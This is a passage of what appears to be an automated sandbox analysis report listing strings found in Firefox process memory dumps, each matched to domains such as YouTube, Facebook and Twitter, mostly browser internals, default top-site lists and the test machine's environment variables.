Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: --panel-banner-item-update-supported-bgcolor://.adsafeprotected.com//unit/addons-search-detection@mozilla.com://pubads.g.doubleclick.net/gampad/ad-blkresource://builtin-addons/search-detection/addons-search-detection%40mozilla.com:2.0.0https://en.wikipedia.org/wiki/Special:Searchhttps://ads.stickyadstv.com/firefox-etp://vast.adsafeprotected.com/vast://ads.stickyadstv.com/auto-user-syncresource://search-extensions/google/://www.facebook.com/platform/impression.phpresource://search-extensions/amazondotcom/://.adsafeprotected.com/services/pub*://pubads.g.doubleclick.net/gampad/xml_vmap2*_closedTabsFromClosedWindowsEnabled equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.3030702011.00000270C98E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -os-restarted https://www.youtube.com/accountH equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3096588402.00000270E2065000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 7www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3096588402.00000270E2065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3105314081.00000270E4003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3069796496.00000270DB2B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8http://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3073075739.00000270DB85A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3008157636.00000270E41DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2998160641.00000270E41DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3073075739.00000270DB85A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3103512040.00000270E3DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3008157636.00000270E41DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3087332031.00000270DDB69000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3035541532.00000270D6C0D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2995008138.00000270DC21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2952270255.00000158A7AE3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2950780857.00000158A7ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 8p8https://www.youtube.com/account --attempting-deelevationUser equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3067558634.00000270DB05D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3060815323.00000270DADD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3100681543.00000270E234C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993750168.00000270E21F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3105314081.00000270E4003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8~predictor-origin,:https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3096588402.00000270E2065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3105314081.00000270E4003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: :https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000003.2958769374.00000270CC685000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2957174991.00000270CC685000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3034852957.00000270D6947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/network/protocol;1?name=filedevtools.debugger.features.javascript-tracingJSON Viewer's onSave failed in startPersistenceFailed to listen. Callback argument missing.Unable to start devtools server on @mozilla.org/uriloader/handler-service;1DevToolsStartup.jsm:handleDebuggerFlag{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}browser.fixup.dns_first_for_single_words@mozilla.org/network/protocol;1?name=defaultbrowser.urlbar.dnsResolveFullyQualifiedNamesdevtools.debugger.remote-websocketWebChannel/this._originCheckCallbackdevtools-commandkey-javascript-tracing-togglereleaseDistinctSystemPrincipalLoader@mozilla.org/dom/slow-script-debug;1devtools/client/framework/devtoolsdevtools-commandkey-profiler-start-stopresource://devtools/shared/security/socket.jsFailed to listen. Listener already attached.Failed to execute WebChannel callback:and deploy previews URLs are allowed.devtools-commandkey-profiler-capturedevtools/client/framework/devtools-browserbrowser and that URL. Falling back to devtools.performance.recording.ui-base-urlresource://devtools/server/devtools-server.jsDevTools telemetry entry point failed: Got invalid request to save JSON dataNo callback set for this channel.^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$devtools.performance.popup.feature-flagbrowser.fixup.domainsuffixwhitelist.http://www.inbox.lv/rfc2368/?value=%s^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?get FIXUP_FLAGS_MAKE_ALTERNATE_URIisDownloadsImprovementsAlreadyMigratedhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://poczta.interia.pl/mh/?mailto=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/web-handler-app;1resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/FileUtils.sys.mjsget FIXUP_FLAG_FORCE_ALTERNATE_URI^([a-z+.-]+:\/{0,3})([^\/@]+@).+get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPScheme should be either http or https{c6cf88b7-452e-47eb-bdc9-86e3561648ef}{33d75835-722f-42c0-89cc-44f328e56a86}extractScheme/fixupChangedProtocol<gecko.handlerService.defaultHandlersVersionhttps://mail.yahoo.co.jp/compose/?To=%shttps://mail.inbox.lv/compose?to=%sCan't invoke URIFixup in the content processhandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/dbus-handler-app;1@mozilla.org/uriloader/local-handler-app;1resource://gre/modules/JSONFile.sys.mjs^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$)https://e.mail.ru/cgi-bin/sentmsg?mailto=%s_injectDefaultProtocolHandlersIfNeededresource://gre/modules/FileUtils.sys.mjshttp://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/NetUtil.sys.mjs_finalizeInternal/this._finalizePromise<resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjs@mozilla.org/network/file-input-stream;1resource://gre/modules/ExtHandlerService.sys.mjs@mozilla.org/network/async-stream-copier;1Must have a source and a callbacknewChannel requires a single object argumentNon-zero amount of bytes must be specified@mozilla.org/network/simple-stream-listener;1@mozilla.org/intl/converter-input-stream;1SEC_ALLOW
Source: firefox.exe, 0000001E.00000002.3034852957.00000270D6947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windowsp equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2952270255.00000158A7AC7000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3030803173.00000270C9930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2958630660.0000014A6E160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account--attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2958630660.0000014A6E160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevationC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3030803173.00000270C9930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2952270255.00000158A7AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exewinsta0\default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3031858393.00000270CC65D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3031858393.00000270CC5D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2957174991.00000270CC674000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3034852957.00000270D6947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsMALLOC_OPTIONS=rII equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Must provide a boolean argument_updateFlexData/flexDataArray<isSafeToPlayDeferredEventDOM_VK_WIN_OEM_FJ_MASSHOUDOM_VK_WIN_OEM_FJ_TOUROKUmaxHistoricalSearchSuggestionsfirefox-suggest-weather-titlesuggestedIndexResultsByGroupunitConversion.suggestedIndexcanIncrementMinKeywordLengthstrippedUrlToTopPrefixAndTitleDOM_KEY_LOCATION_STANDARDfirefox-suggest-urlbar-blockfractionalDataArray is empty!experimental.hideHeuristic)?(?:\s+in\s+\|\s+to\s+\|\s=\s)(WEATHER_PROVIDER_DISPLAY_NAMEincrementMinKeywordLengthisURLEquivalentToResultURL_checkAndSetExposureProperties)(?:\s+in\s+\|\s+to\s+\|\s=\s)(TOP_SITES_MAX_SITES_PER_ROW_addSuggestedIndexResultseNewlinesReplaceWithSpacesensureUnloadHandlerRegistered/<_createShowMoreSyncedTabsElementrecordSyncedTabsTelemetryhttps://www.youtube.com/accountMIN_STATUS_ANIMATION_DURATION_createNoSyncedTabsElement equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3106563989.00000270E4116000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2999210432.00000270E4118000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: O^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: PARSE_ERROR_TOO_MANY_ELEMENTS@mozilla.org/referrer-info;1Couldn't create URI from Error accessing host name: READER_MODE_DOWNLOAD_RESULT@mozilla.org/parserutils;1permission-popup-menulisthttps://www.youtube.com/account_adoptBrowserFromOtherWindow equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: PREF_ISDEFAULT_CACHE_STATEinitializeDefaultPreferencesgetProtocolHandlerInfoFromOS with insecure template URL checkHost/isIPv4Address/<nsIExternalProtocolService_migrateProtocolHandlersIfNeeded with invalid template URL browser.handlers.migrationsbrowser-open-homepage-startVALIDATE_NO_DEFAULT_FILENAMEPREF_BRANCH_WAS_REGISTEREDvalidateFileNameForSavingasyncEmitManifestEntry("author")VALIDATE_FORCE_APPEND_EXTENSION-*- UpdateBrowserIDHelper: toolkit.singletonWindowTypepreviousHandler.preferredAction.https://www.youtube.com/account_shouldViewDownloadInternallygetCombined/overrideFnArray<getMostRecentBrowserWindow@mozilla.org/browser/clh;1toolkit.defaultChromeFeatures^[a-z0-9][a-z0-9-]+[a-z0-9]$ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3034852957.00000270D6939000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: RT_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\P equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyUpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: src=image,triggeringprincipal=iconloadingprincipal,requestcontextid,fadein,pinned,selected=visuallyselected,busy,crashed,sharing,pictureinpicturehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyUpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: src=image,triggeringprincipal=iconloadingprincipal,requestcontextid,fadein,pinned,selected=visuallyselected,busy,crashed,sharing,pictureinpicturehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyUpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: src=image,triggeringprincipal=iconloadingprincipal,requestcontextid,fadein,pinned,selected=visuallyselected,busy,crashed,sharing,pictureinpicturehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single 